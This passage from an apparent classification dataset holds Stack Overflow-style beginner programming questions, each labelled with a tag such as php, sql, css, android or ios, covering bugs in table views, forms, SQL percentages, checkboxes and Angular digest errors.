*)tableview didselectrowatindexpath:(nsindexpath *)indexpath{          switch (indexpath.row) {             case 0:                 nslog(@ searchdetailedview );                 searchdetailviewcontroller *searchdetailviewcontroller = [[searchdetailviewcontroller alloc] initwithnibname:@ searchdetailviewcontroller  bundle:nil];                 [self.navigationcontroller pushviewcontroller:searchdetailviewcontroller animated:yes];                     //  self.navigationitem.title = @ back ;                  [searchdetailviewcontroller release];                 searchdetailviewcontroller=nil;                 break;                 case 2:                 nslog(@ eventviewcontroller );                  eventviewcontroller *eventviewcontroller=[[eventviewcontroller alloc]initwithnibname:@ eventviewcontroller  bundle:nil];                 [self.navigationcontroller pushviewcontroller:eventviewcontroller animated:yes];                 [eventviewcontroller release];                 eventviewcontroller=nil;                 break;             default:                 break;         }        }        /*     // override to allow orientations other than the default portrait orientation.     - (bool)shouldautorotatetointerfaceorientation:(uiinterfaceorientation)interfaceorientation {         // return yes for supported orientations         return (interfaceorientation == uiinterfaceorientationportrait);     }     */        - (void)didreceivememorywarning {         // releases the view if it doesn t have a superview.         [super didreceivememorywarning];          // release any cached data  images  etc that aren t in use.     }      - (void)viewdidunload {         [super viewdidunload];         // release any retained subviews of the main view.         // e.g. self.myoutlet = nil;     }       - (void)dealloc {         [searchlistarray release];         [super dealloc];     } </code></pre>   eventviewcontroller   <pre><code>#import  eventviewcontroller.h       @implementation eventviewcontroller     @synthesize eventslist;     @synthesize eventstore;     @synthesize defaultcalendar;     @synthesize detailviewcontroller;      #pragma mark -     #pragma mark view lifecycle       - (void)viewdidload {         [super viewdidload];         self.title=@ event list ;         self.eventstore=[[ekeventstore alloc]init];         self.eventslist=[[nsmutablearray alloc]initwitharray:0];         self.defaultcalendar=[self.eventstore defaultcalendarfornewevents];             // uncomment the following line to display an edit button in the navigation bar for this view controller.         uibarbuttonitem *addbuttonitem = [[uibarbuttonitem alloc] initwithbarbuttonsystemitem:                                           uibarbuttonsystemitemadd target:self action:@selector(addevent:)];         self.navigationitem.rightbarbuttonitem = addbuttonitem;         [addbuttonitem release];         self.navigationcontroller.delegate = self;         [self.eventslist addobjectsfromarray:[self fetcheventsfortoday]];         [self.tableview reloaddata];     }      - (ibaction) addevent:(id)sender{         ekeventeditviewcontroller *addcontroller = [[ekeventeditviewcontroller alloc] initwithnibname:nil bundle:nil];             // set the addcontroller s event store to the current event store.         addcontroller.eventstore = self.eventstore;             // present eventsaddviewcontroller as a modal view controller         [self presentmodalviewcontroller:addcontroller animated:yes];         addcontroller.editviewdelegate = self;         [addcontroller release];     }      - (nsarray *) fetcheventsfortoday{          nsdate *startdate = [nsdate date];             // enddate is 1 day = 60*60*24 seconds = 86400 seconds from startdate         nsdate *enddate = [nsdate datewithtimeintervalsincenow:86400];             // create the predicate. pass it the default calendar.         nsarray *calendararray = [nsarray arraywithobject:defaultcalendar];         nspredicate *predicate = [self.eventstore predicateforeventswithstartdate:startdate enddate:enddate                                                                          calendars:calendararray];              // fetch all events that match the predicate.         nsarray *events = [self.eventstore eventsmatchingpredicate:predicate];         return events;     }      - (void)viewwillappear:(bool)animated {             //    [super viewwillappear:animated];         [self.tableview deselectrowatindexpath:self.tableview.indexpathforselectedrow animated:no];        }       /*     - (void)viewdidappear:(bool)animated {         [super viewdidappear:animated];     }     */     /*     - (void)viewwilldisappear:(bool)animated {         [super viewwilldisappear:animated];     }     */     /*     - (void)viewdiddisappear:(bool)animated {         [super viewdiddisappear:animated];     }     */      // override to allow orientations other than the default portrait orientation.     - (bool)shouldautorotatetointerfaceorientation:(uiinterfaceorientation)interfaceorientation {         // return yes for supported orientations         return (interfaceorientation == uiinterfaceorientationportrait);     }        #pragma mark -     #pragma mark table view data source      //- (nsinteger)numberofsectionsintableview:(uitableview *)tableview {     //    // return the number of sections.     //  // return &lt;#number of sections#&gt;;     //}       - (nsinteger)tableview:(uitableview *)tableview numberofrowsinsection:(nsinteger)section {         // return the number of rows in the section.          return [eventslist count];     }       // customize the appearance of table view cells.     - (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {          static nsstring *cellidentifier = @ cell ;         uitableviewcellaccessorytype editablecellaccessorytype =uitableviewcellaccessorydisclosureindicator;           uitableviewcell *cell = [tableview dequeuereusablecellwithidentifier:cellidentifier];         if (cell == nil) {             cell = [[[uitableviewcell alloc] initwithstyle:uitableviewcellstyledefault reuseidentifier:cellidentifier] autorelease];         }         cell.accessorytype=editablecellaccessorytype;         cell.textlabel.text=[[self.eventslist objectatindex:indexpath.row]title];         // configure the cell...          return cell;     }       /*     // override to support conditional editing of the table view.     - (bool)tableview:(uitableview *)tableview caneditrowatindexpath:(nsindexpath *)indexpath {         // return no if you do not want the specified item to be editable.         return yes;     }     */       /*     // override to support editing the table view.     - (void)tableview:(uitableview *)tableview commiteditingstyle:(uitableviewcelleditingstyle)editingstyle forrowatindexpath:(nsindexpath *)indexpath {          if (editingstyle == uitableviewcelleditingstyledelete) {             // delete the row from the data source             [tableview deleterowsatindexpaths:[nsarray arraywithobject:indexpath] withrowanimation:uitableviewrowanimationfade];         }            else if (editingstyle == uitableviewcelleditingstyleinsert) {             // create a new instance of the appropriate class  insert it into the array  and add a new row to the table view         }        }     */       /*     // override to support rearranging the table view.     - (void)tableview:(uitableview *)tableview moverowatindexpath:(nsindexpath *)fromindexpath toindexpath:(nsindexpath *)toindexpath {     }     */       /*     // override to support conditional rearranging of the table view.     - (bool)tableview:(uitableview *)tableview canmoverowatindexpath:(nsindexpath *)indexpath {         // return no if you do not want the item to be re-orderable.         return yes;     }     */       #pragma mark -     #pragma mark table view delegate      - (void)tableview:(uitableview *)tableview didselectrowatindexpath:(nsindexpath *)indexpath {     // navigation logic may go here. create and push another view controller.     // upon selecting an event  create an ekeventviewcontroller to display the event.         self.detailviewcontroller = [[ekeventviewcontroller alloc] initwithnibname:nil bundle:nil];                  detailviewcontroller.event = [self.eventslist objectatindex:indexpath.row];     // allow event editing.         detailviewcontroller.allowsediting = yes;     //  push detailviewcontroller onto the navigation controller stack     //  if the underlying event gets deleted  detailviewcontroller will remove itself from     //  the stack and clear its event property.         [self.navigationcontroller pushviewcontroller:detailviewcontroller animated:yes];      }       #pragma mark -     #pragma mark navigation controller delegate      - (void)navigationcontroller:(uinavigationcontroller *)navigationcontroller            willshowviewcontroller:(uiviewcontroller *)viewcontroller animated:(bool)animated{         if (viewcontroller == self &amp;&amp; self.detailviewcontroller.event.title == null) {             [self.eventslist removeobject:self.detailviewcontroller.event];             [self.tableview reloaddata];         }     }      - (void)eventeditviewcontroller:(ekeventeditviewcontroller *)controller                didcompletewithaction:(ekeventeditviewaction)action{         nserror *error=nil;         ekevent *thisevent=controller.event;         switch (action) {             case ekeventeditviewactioncanceled:                 break;             case ekeventeditviewactionsaved:                 if (self.defaultcalendar ==thisevent.calendar) {                     [self.eventslist addobject:thisevent];                 }                 [controller.eventstore saveevent:controller.event span:ekspanthisevent error:&amp;error];                 [self.tableview reloaddata];                 break;             case ekeventeditviewactiondeleted:                 if (self.defaultcalendar ==  thisevent.calendar) {                     [self.eventslist removeobject:thisevent];                 }                 [controller.eventstore removeevent:thisevent span:ekspanthisevent error:&amp;error];                 [self.tableview reloaddata];                 break;              default:                 break;         }         [controller dismissmodalviewcontrolleranimated:yes];     }      - (ekcalendar *)eventeditviewcontrollerdefaultcalendarfornewevents:(ekeventeditviewcontroller *)controller{         ekcalendar *calendarforedit=self.defaultcalendar;         return calendarforedit;     }     #pragma mark -     #pragma mark memory management      - (void)didreceivememorywarning {         // releases the view if it doesn t have a superview.         [super didreceivememorywarning];          // relinquish ownership any cached data  images  etc that aren t in use.     }      - (void)viewdidunload {         // relinquish ownership of anything that can be recreated in viewdidload or on demand.         // for example: self.myoutlet = nil;         self.eventslist = nil;         [self.detailviewcontroller release];      }       - (void)dealloc {         [super dealloc];     } </code></pre>   this is what i did.... help me out.    @thanks in advance.,iphone
making a new directory on input issue.  when i go to submit to make a new directory  it isn t making the director name that i input  $newclient . example i m trying to make a folder called trail  and then i input it and submit it  it will make a directory name $newclient not the name trail. any ideas why it s doing that and how to possibly fix it  thank you in advance! :)     heres the php that i m using to try to make a directory after submit:    <pre><code>        &lt; php         if(isset($_post[ submitnewclient ]))     {         $newclient = $_post[ newclient ];         if (!file_exists( ../photos/$newclient )) {     mkdir( ../photos/$newclient   0777  true); }     }    &gt; &lt;h1&gt; &lt; php echo $newclient  &gt; &lt;/h1&gt;  </code></pre>   here s my html:    <pre><code>            &lt;h1&gt; make new folder for a client&lt;/h1&gt; &lt;form action= newclient.php  method= post  enctype= multipart/form-data &gt;     select user to upload to:      &lt;input type= text  name= newclient  id= newclient  cols= 10  rows= 1 &gt; &lt;/input&gt;     &lt;input type= submit  value= new client  id= submitnewclient  name= submitnewclient &gt; &lt;/form&gt;  </code></pre>,php
percentage in sql  how exact percentage calculated in sql   for example i wan to calculate the percentage of 155 in 1010 the calculation is (155/1010)*100 right but   select (155/1010)*100  always returns zero. “select (155*100)/1010” return the percentage without decimal point. i need to get exact percentage.,sql
i run a program and encountered segmentation fault(core dump)   i debug with the gdb  the program was crashed when running ui->setupui()  //my test program as following  i just want to operate the data member which    //inherited from the base class  but get the problem of  segmentation fault (core dumped)    #include      using namespace std;   <pre><code>class ui_mainwindow {  public:    int frame;    int a;    void setupui()     {      frame = 0;      cout&lt;&lt; in setupui() frame is: &lt;&lt;frame&lt;&lt;endl;     } };   class mainwindow:public ui_mainwindow {  public:    mainwindow()     {      frame = 111;                //assign for the data member from the base class     ui-&gt;setupui();     }    ~mainwindow(){}    void paintframe();  private:    mainwindow *ui; };   void mainwindow::paintframe()  //i just want to operate the data member which    //inherited from the base class   {    frame = 5555;    cout&lt;&lt; in mainwindow::paintframe()frame is: &lt;&lt;frame&lt;&lt;endl;   }   int main() {  mainwindow w;  w.paintframe(); } </code></pre>,c++
how can i submit all cloned forms   i have one form  and i created a script to duplicate this form when you click at a specific link.    i used the event clone() to do that  and its working fine.    now i want to create a button that submits all the created forms and inserts all the information inside a table.    i just want to know how can i do that and which events do i need to use.    my jquery code is really simple   <pre><code>$( .add ).click(function () {       $( .offer:first ).clone().find( input:text ).val(  ).end().appendto( .job );      }); </code></pre>,jquery
android camera opening/closing  i have written a video call application with activity that has member variable  private cameramediasource mcameramediasource;    works fine but after a while sometimes camera does not show anymore.  then i kill whole app and it works again. not sure about how to handle the camera during activity lifecycle methods like onpause()  onresume() etc.  does the cameera at some point need to be released   how do i clear the camera  when it pauses a picture stays on the screen.  thanks,android
delete ... from ... where ... in  i m looking for a way to delete records in table 1 with matching combinations in table 2 on  stn  and  jaar . the contents of column  jaar  in table2 is formatted in a previous stage/query by    <blockquote>    year(datum) as  jaar   </blockquote>   sorry  can t find again the site where i found this  solution .   <pre><code>delete from table1 where stn  year(datum) in (select stn  jaar from table2); </code></pre>,sql
last_response.body is empty in rack::test rspec test (but not in actual app)  i ve ben struggling with this for a couple hours now. i am using rack::test to write api tests for my rails 3.2 app.    regardless of what i do  last_response has an empty body (well  specifically it has  {}   so 2 characters).    here are the tests:   <pre><code>describe  updating a product set with json  do   def app     productsetscontroller.action(:update)   end    let(:update_json) { ... }    before do     @product_set = factorygirl.build(:product_set)   end   it { @failures.should == 0 }    it  should not increment the product set count  do     expect { put :update  update_json }.to_not change(productset  :count).by(1)   end    it  should increment the conditions count  do     expect { put :update  update_json }.to change(@product_set.conditions  :count).by(2)   end    context  response should be valid  do     before do       put :update  update_json     end     subject { last_response }     it { should be_ok }   end end </code></pre>   all these tests pass. but the body is empty.    the weird thing is that if i run the actual application the response body is definitely not empty. it has json about the updated product_set.    so i m setting up the test incorrectly somehow. i bet i m overlooking something really silly as this is my first time using rack::test. any thoughts     just had a thought that i <em>may</em> not be setting the request headers correctly. i m also using rabl for generation.    update: the problem is indeed with rabl. haven t figured out a solution yet  but if i use:   <pre><code>respond_with(@product_set.update_attributes(get_properties(params))    file:  app/views/product_sets/update.json.rabl   :handlers =&gt; [:rabl]) </code></pre>   instead of:   <pre><code>respond_with(@product_set.update_attributes(get_properties(params))) </code></pre>   then it works in testing  whereas both work in development or production. also i ve confirmed that it s not a gemfile problem.,ruby-on-rails
killing an application  is android going the right way in this process.   i have seen many task killer apps  which claim to kill the apps in background  but once i use them  i find out that what they do is just vanish the apps from their list view and fool the user that they are killed.    if i open the same task killer app again within seconds  the same app will again be there which was claimed to be killed earlier. now is this a fault of the app or the android os     not only here  even with apps having an <em>exit</em> option  i have noticed that clicking the exit button does not terminate it. so where is the problem     long ago i read that there is no function provided in android to kill an app (i don t know about current time). so shall the blame be given to the os  is there a proper way yet to close an app when we want and make it behave normally,android
i can t get return value in php  i can t get the return value! the output appears  error .   <pre><code>$c = new list(); $result = $c-&gt;create();  if( $result ==  a ){    echo( a );                    }else if($result ==  b ){    echo( b ); }else{    echo( error ); }  class list{      function create(){         // $rval = ...         if($rval == 1){            return  a ;        }else if($rval == 2){            return  b ;        }     } } </code></pre>   when i change return to echo  the output appears  aerror . i don t understand. create function works but the return value is not true. can anyone help me please  sorry for my bad english,php
viewcontroller not loading bottom views  the probelm is  i m putting subviews of viewcontroller in storyboard and when i run it on simulator it doesn t load whole subviews (bottom subviews) as shown below....this is at storyboard <a href= https://i.stack.imgur.com/ju1jq.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ju1jq.png  alt= enter image description here ></a>    and now this at simulator <a href= https://i.stack.imgur.com/ohwhf.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ohwhf.png  alt= enter image description here ></a>,ios
how does the sitelink search box work   i have a website. i want a search box to appear under the main page of my website in google. i have my own custom search engine and search bar in the website. i did a bit of research and found out that you need a chunk of code like this:   <pre><code>&lt;script type=”application/ld+json”&gt;     {       “@context”: “http://schema.org”         “@type”: “website”         “url”: “https://www.panpact.com/”           “potentialaction”: {          “@type”: “searchaction”           “target”: “https://query.panpact.com/searchresults.php search={search_term_string}&amp;page=1&amp;con=1”           “query-input”: “required name=search_term_string”           }     }     &lt;/script&gt; </code></pre>   i have changed the above code to replace example with my website name(panpact). i am not sure if it works though. when someone on my site searches and presses enter they are redirected to the search page and the url looks like:   <pre><code>http://panpact.com/searchresults.php search=hello&amp;page=1&amp;con=1 </code></pre>   first of all is my above script code correct for what i want to do  and why is their the word query in front of the domain in the target field  do i need it,javascript
permanently removing source control bindings  im developing web application in visual studio 2008 for the first time.. when i try to open an existing project  its asking me  do u want to permanently remove source control binding from the project   what does it relly mean.. how should i proceed..    thanks...,.net
how can i send a variable  getid  to another jframe  student_info    i want the value of <code>getid</code> variable in my student_info.java <code>jframe</code> by the method it gives me only either <code>null</code> or nothing and by the constructor overloading it gives correct value but only when i print the value and when i use that value or when i store that value into a variable still it gives <code>null</code>.   <ol> <li> student_login.java:   <pre><code>    public string getid;     private void jbutton1actionperformed(java.awt.event.actionevent evt){                                  connectionprovider con = new connectionprovider();     student_password = new string(this.student_password.getpassword());     student_username= this.student_username.gettext();     string getstudentlogintableid =  select student_id from student_login where student_username=  +student_username+   and student_password=  +student_password+   ;     connection con1 = con.getconn();     try {         statement stmt = con1.createstatement();         resultset rs = stmt.executequery(getstudentlogintableid);         while(rs.next()){             getid = rs.getstring( student_id );         }     } catch (sqlexception ex) {         logger.getlogger(student_login.class.getname()).log(level.severe  null  ex);   } } public string getid(){ if( 101 .equals(getid)){     joptionpane.showmessagedialog(null   yes ); } else{     joptionpane.showmessagedialog(null   no ); } return getid;   } </code></pre></li> <li> student_info.java:   <pre><code>string a = new student_login().getid(); joptionpane.showmessagedialog(null  a); string get =  select student_id   student_name from student_info where student_id=  +a+   ; connectionprovider con = new connectionprovider(); connection con1 = con.getconn(); try{     statement stmt = con1.createstatement();     resultset rs = stmt.executequery(get);     while(rs.next()){         i = rs.getstring( student_id );         n = rs.getstring( student_name );     }     //joptionpane.showmessagedialog(null  getid);     jlabel13.settext(i);     jlabel14.settext(n); } catch (sqlexception ex) {     logger.getlogger(student_login.class.getname()).log(level.severe  null  ex); } </code></pre></li> </ol>,java
unordered list with bullets after first list item  <img src= https://i.stack.imgur.com/zi9no.png  alt= http://i.imgur.com/ttoezln.png >    i m trying to achieve an effect like the one above but am unsure of the best way to do it. it it possible to use the unordered list and then change the styles so the bullets only appear on the inside     if not would the best way be add a background image to each list item using pseudo to stop them showing before the first list item     thanks,css
center positioning two divs (one is dynamic in width) inside container  how would you center position two divs inside a container when one is  dynamic   that is  the search input in <code>content-top-search</code> changes width from 226 to 462 when you click inside it.    here s my css code:   <pre><code>.content-top-buttonsearch-holder {     text-align: center;     float: left;     width: 816px;     margin-left: 15px; } .content-top-buttons {     height: 31px;     width: 269px;     float: left;     margin-right: 16px; } .content-top-search {     height: 31px;     float: left; } </code></pre>   here is my html:   <pre><code>&lt;div class= content-top-buttonsearch-holder &gt;     &lt;div class= content-top-buttons &gt;         &lt;a id= all_events_button  href= #  title= click to show all events happening! &gt;&lt;/a&gt;         &lt;a id= all_venues_button  href= #  title= click to show all venues in our database! &gt;&lt;/a&gt;         &lt;a id= event_finder_button  href= #  title= click to search for events! &gt;&lt;/a&gt;     &lt;/div&gt;     &lt;div class= content-top-search &gt;         &lt;input name= venue-search  class= searchbox  onclick= this.value=  ;  onfocus= this.select()  onblur= this.value=!this.value  sort parties by venue name :this.value;  value= sort parties by venue name  /&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>,css
checkboxes are not appearing in inline  i m struggling with checkboxes. i want to display them on one line next to each other. here s my <a href= http://jsfiddle.net/q2q54jz2/  rel= nofollow >jsfiddle</a>.    <strong>html</strong>   <pre><code>&lt;form style= height:1200px; role= form  method= post  action= ../process.php &gt;     &lt;label&gt;your name*&lt;/label&gt;     &lt;input name= name  placeholder=  &gt;      &lt;label&gt;email address*&lt;/label&gt;     &lt;input name= email  type= email  placeholder=  &gt;         your approximately budget for website     &lt;input name= budget  placeholder=  &gt;     &lt;fieldset&gt;         &lt;legend&gt;what is your favorite pet &lt;/legend&gt;          &lt;input type= checkbox  name= animal  value= cat  /&gt;&lt;p style=  margin-right:200px; &gt;cats &lt;/p&gt;&lt;br /&gt;         &lt;input type= checkbox  name= animal  value= dog  /&gt;dogs&lt;br /&gt;         &lt;input type= checkbox  name= animal  value= bird  /&gt;birds&lt;br /&gt;         &lt;input type= submit  value= submit now  /&gt;     &lt;/fieldset&gt;          &lt;input id= submit  name= submit  type= submit  value= send &gt; &lt;/form&gt; </code></pre>   <strong>css</strong>   <pre><code>form {     margin-left:auto;     margin-right:auto;     width: 343px;     height: 333px;     padding:30px;     border: 1px solid rgba(0 0 0 .2);     -moz-border-radius: 5px;     -webkit-border-radius: 5px;     border-radius: 5px;     -moz-background-clip: padding;     -webkit-background-clip: padding-box;     background-clip: padding-box;     background: linear-gradient(top rgba(255  255  255  0.1) 30% rgba(0 0 0 .3) 60%);     box-shadow: 0 0 13px 3px rgba(0 0 0 .5);     overflow: hidden;  }  textarea{       background: rgba(180  180  180  0.3) url(http://estudio87.com/img/gemicon_message.png) no-repeat scroll 16px 16px;      width: 276px;     height: 110px;     border: 1px solid rgba(255 255 255 .6);     -moz-border-radius: 4px;     -webkit-border-radius: 4px;     border-radius: 4px;     -moz-background-clip: padding;     -webkit-background-clip: padding-box;     background-clip: padding-box;      display:block;     font-family:  source sans pro   sans-serif;     font-size:18px;     color:#fff;     padding-left:45px;     padding-right:20px;     padding-top:12px;     margin-bottom:20px;     overflow:hidden; }  input {     width: 276px;     height: 48px;     border: 1px solid rgba(255 255 255 .4);     border-radius: 4px;     -moz-background-clip: padding;     -webkit-background-clip: padding-box;     background-clip: padding-box;      display:block;     font-family:  source sans pro   sans-serif;     font-size:18px;     color:#fff;     padding-left:20px;     padding-right:20px;     margin-bottom:20px; }  input[type=submit] {     cursor:pointer; }  input.name {     background: rgba(180  180  180  0.3) url(http://estudio87.com/img/gemicon_name.png) no-repeat scroll 16px 16px;      padding-left:45px; }  input.email {     background: rgba(180  180  180  0.3) url(http://estudio87.com/img/gemicon_email.png) no-repeat scroll 16px 20px;     padding-left:45px; }  input.message {     background: rgba(255  255  255  0.4) url(http://estudio87.com/img/gemicon_message.png) no-repeat scroll 16px 16px;     padding-left:45px; }  ::-webkit-input-placeholder {     color: #fff; }  :-moz-placeholder{      color: #fff;  }  ::-moz-placeholder {     color: #fff; }  :-ms-input-placeholder {       color: #fff;  }  input:focus  textarea:focus {      background-color: rgba(0  0  0  0.2);     box-shadow: 0 0 5px 1px rgba(255 255 255 .5);     overflow: hidden; } </code></pre>,html
w3c validation of dreamweaver html  i have an errant  > appearing mysteriously on one of my pages.  i went to the w3c validation page and they found a boatload of errors.  but all the errors are in code generated by dreamweaver cs 5.5. they found 14 errors/warnings in the middle line alone.   <pre><code>function mm_swapimgrestore() { //v3.0    var i x a=document.mm_sr; for(i=0;a&amp;&amp;i&lt;a.length&amp;&amp;(x=a[i])&amp;&amp;x.osrc;i++) x.src=x.osrc;  } </code></pre>   i m new and to be honest i don t understand this code yet.  i m pretty sure it s part of my roll over button menu.  is this really something i need to worry about or are they overly strict     thanks in advance for helping a newbie.,html
css inset border color incorrect  i am trying use border inset with a light color for the inset  but  the colors chosen are simply not being shown correctly  this is the same in every browser    here s the css - first box should have light inset border and second box slightly darker:    here a fiddle: <a href= http://jsfiddle.net/darrensw/j89wg/  rel= nofollow >css inset border fiddle</a>   <pre><code>.box1 { display: inline-block; border: 4px inset #f7f7f7; margin-top: 16px;  border-radius: 12px; height: 34px; background:#fff; width:230px; position:relative; padding:10px; }  .box2 { display: inline-block; border: 4px inset #cccccc; margin-top: 16px; border-radius: 12px; height: 34px; background:#f7f7f7; width:230px; position:relative; padding:10px; } </code></pre>   i ve tried setting the border-color element separately but it makes no difference    very odd behaviour,css
c# calendar tool asp.net  so i m trying to create a calendar tool that pulls in dates from an sql database.    i ve created a tableadapter which is here: <a href= http://bit.ly/kratvr  rel= nofollow >http://bit.ly/kratvr</a>    this is the small bit of asp i have to create my calendar:   <pre><code>&lt;asp:calendar id= calevents  runat= server &gt; &lt;/asp:calendar&gt;      </code></pre>   then i have the c# in my project used to pull the information through.   <pre class= lang-default prettyprint-override ><code>using system; using system.collections.generic; using system.linq; using system.web; using system.web.ui; using system.web.ui.webcontrols; using system.data; using system.data.sqlclient; using breakybottomtableadapters;  public partial class events : system.web.ui.page {      protected void page_load(object sender  eventargs e)     {          //data table         breakybottom table;         //table adapter         breakybottomtableadapters.scheduledate ta;         ta = new breakybottomtableadapters.scheduledate();         //populate the table using the table adapter passing current date         table = ta.getdata(e.day.date);         //check the number of rows in the data table         if (table.rows.count &gt; 0)         {             //change the background colour to gray             e.cell.backcolor = system.drawing.color.gray;             //allow the day to be selected             e.day.isselectable = true;         }       } } </code></pre>   now i know i m missing something but i can t for the life of my figure out what it is.    here is a screenshot of the compile error i get: <a href= http://bit.ly/isuvst  rel= nofollow >http://bit.ly/isuvst</a> - i know i m probably missing something insanely obvious but any assistance would be appreciated.    best regards,asp.net
prevent a hover event from happening if the mouse isn t focused for over a set time   i am using this code for tooltips  a simple function i wrote to display title tags a little nicer on a webpage;   <pre><code>function tooltip(target_items  name){   $(target_items).each(function(i){  $( body ).append( &lt;div class=  +name+   id=  +name+i+  &gt;&lt;p&gt; +$(this).attr( title )+ &lt;/p&gt;&lt;/div&gt; ); var my_tooltip = $( # +name+i);  $(this).removeattr( title ).mouseover(function(){         my_tooltip.css({display: none }).stop(true  true).slidedown(225); }).mousemove(function(kmouse){         my_tooltip.css({left:kmouse.pagex+15  top:kmouse.pagey+15}); }).mouseout(function(){         my_tooltip.css({display: none });                  });  });   } </code></pre>   i want it so that the whole thing will only trigger if the mouse is over it for a set amount of time  say 1000. if the mouse leaves the trigger area before that time i want it so the event never happens at all.,jquery
typeerror:  int  object is unsubscriptable in python <pre><code> &gt;&gt;&gt; def merge(l1 l2):         top1=0         top2=0         while l1[top1]!=none or l2[top2]!=none:             if l1[top1]&gt;l2[top2]:                 l.append(11[top1])                 top1=top1+1                 print  added +l1[top1]             else:                 l.append(l2[top2])                 top2=top2+1                 print  added +l2[top2]         return l   &gt;&gt;&gt; merge(l1 l2)  traceback (most recent call last):   file  &lt;pyshell#58&gt;   line 1  in &lt;module&gt;     merge(l1 l2)   file  &lt;pyshell#57&gt;   line 6  in merge     l.append(11[top1]) typeerror:  int  object is unsubscriptable </code></pre>,python
you can use charset =  iso-8859-1  on google amp project  i will show my problema:    it s works:   <pre><code>&lt;!doctype html&gt; &lt;html amp lang= en &gt;   &lt;head&gt;     &lt;meta charset= utf-8 &gt;     &lt;script async src= https://cdn.ampproject.org/v0.js &gt;&lt;/script&gt;     &lt;title&gt;mytitle&lt;/title&gt;     &lt;link rel= canonical  href= http://www.djflkjslkfjsdlkfjsldkjfklsd.com/  /&gt;     &lt;link href= https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css  rel= stylesheet &gt;     &lt;meta name= viewport  content= width=device-width minimum-scale=1 initial-scale=1 &gt;     &lt;script type= application/ld+json &gt;       {          @context :  http://schema.org            @type :  newsarticle            headline :  open-source framework for publishing content            datepublished :  2015-10-07t12:02:41z            image : [            logo.jpg          ]       }     &lt;/script&gt;     &lt;style  amp-boilerplate&gt;body{-webkit-animation:-amp-start 8s steps(1 end) 0s 1 normal both;-moz-animation:-amp-start 8s steps(1 end) 0s 1 normal both;-ms-animation:-amp-start 8s steps(1 end) 0s 1 normal both;animation:-amp-start 8s steps(1 end) 0s 1 normal both}@-webkit-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-moz-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-ms-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-o-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}&lt;/style&gt;     &lt;noscript&gt;     &lt;style amp-boilerplate&gt;body{-webkit-animation:none;-moz-animation:none;-ms-animation:none;animation:none}       &lt;/style&gt;      &lt;/noscript&gt;    &lt;/head&gt;   &lt;body&gt;    &lt;/body&gt; &lt;/html&gt; </code></pre>   i can validate it on <code>#development=1</code>    but  if i change <code>&lt;meta charset= utf-8 &gt;</code> for <code>&lt;meta charset= iso-8859-1 &gt;</code>     it s stop to work:   <pre><code>the attribute  charset  may not appear in tag  meta name= and content= . the mandatory tag  meta charset=utf-8  is missing or incorrect. (see https://www.ampproject.org/docs/reference/spec.html#required-markup) </code></pre>   reading the documentation <a href= https://www.ampproject.org/docs/reference/spec.html#required-markup  rel= nofollow >here</a>. i had doubts about the charset. the <code>utf-8</code> is the only one that actually works,html
i m not calling $apply explicitly but still get error: [$rootscope:inprog] $apply already in progress  in a angular factory i have a method to create a new item  which has a connection to a user and a price to add to that users  items  array (like a shopping cart). so i have to see if the user is present in my the local users array if not then on the server and if not then create the user.     code looks like this:    <pre><code>var saveitem = function (item) {     var user = filteruserbyid(item.ownerid);      if (user) {         user.createitem(item);     } else {         repository.getuserbyid(item.ownerid).then(         function (serveruser) {             var userviewmodel = repository.getuserviewmodel(serveruser);             userviewmodel.createitem(item);             users.push(userviewmodel);         }           function () {             user = {                 id: item.ownerid                  items: [                     createitemdto(item)                 ]             };              repository.createuser({ id: user.id }  user);             users.push(repository.getuserviewmodel(user));         });     } }; </code></pre>   no matter which of the  cases  occurs (user was found localy  on the server or was created and added) i get an error:    <blockquote>    error: [$rootscope:inprog] $apply already in progress   <a href= http://errors.angularjs.org/1.3.0-beta.18/  rel= nofollow >http://errors.angularjs.org/1.3.0-beta.18/</a>$rootscope/inprog p0=%24apply  </blockquote>   i recon this may have to do with the fact that i m using resources in my repository  but i don t think resource should (since it s a part of angular..). here s the user.createitem method  code:    <pre><code>user.createitem = function (item) {     var resource = userresource           itemdto = createitemdto(item)           command = [{         type:  add           name:  items           value: itemdto     }];     resource.createitem({ id: item.ownerid }  command);      this.items.push(itemdto); }; </code></pre>   y u no werk!  pls hlp! : (    p.s. i don t have any explicit calls to apply  compile or digest anywhere in my code.,angularjs
ios how to make a button run a code for another view controller   i can t figure out how to run code from different <code>view controller</code> s .    i have created a new project  and would appreciate a quick response as its homework  and have to be done by tonight.    in my project i have two <code>view controller</code> s named; <code>viewcontroller1</code> and <code>viewcontroller2</code>  and have assigned them to two different custom classes.    <code>viewcontroller1</code> comes to screen it has two <code>uibuttons</code>  one for running the code  and the other one to push to <code>viewcontroller2</code>.    when user clicks the first <code>uibutton</code> i want that button to run the code below and display the results on a <code>uilabel</code> on my <code>viewcontroller2</code>.    the code creates random numbers using <code>arc4random</code> and then show s random words in the <code>uilabel</code>. the code works for single page based apps  and is used under implementation.    so basically what i want is  when i click the first <code>uibutton</code> i want to display randomly created words on my <code>uilabel</code> in the <code>viewcontroller2</code>.   <pre><code>-(ibaction)button; {     int random_num;     random_num = (arc4random() % 5 - 1) + 1;     if (random_num == 1) {      label.text = @ hello1 ;         }      else if (random_num == 2) {     label.text = @ hello2 ;     }     else if (random_num == 3) {     label.text = @ hello3 ;     }     else if (random_num == 4) {     label.text = @ hello4 ;     } } </code></pre>   the <code>timelabel</code> is the <code>uilabel</code> on my <code>viewcontroller2</code>.    can you please be detailed in your answer. i am a beginner and might not grasp the concepts right away.    <strong>example</strong>    user opens the app    viewcontroller1 is shown    user press the <code>button 1</code> which runs code for the <code>label</code> in the <code>viewcontroller2</code>    user press the <code>button 2</code> to go to <code>viewcontroller</code>    <code>viewcontroller2</code> comes up and label on it has changed by the button    i know that it is not a hard thing to do but i can t do it.    for those who answered me before and for those who will answer thank you soo much..    thanks.,ios
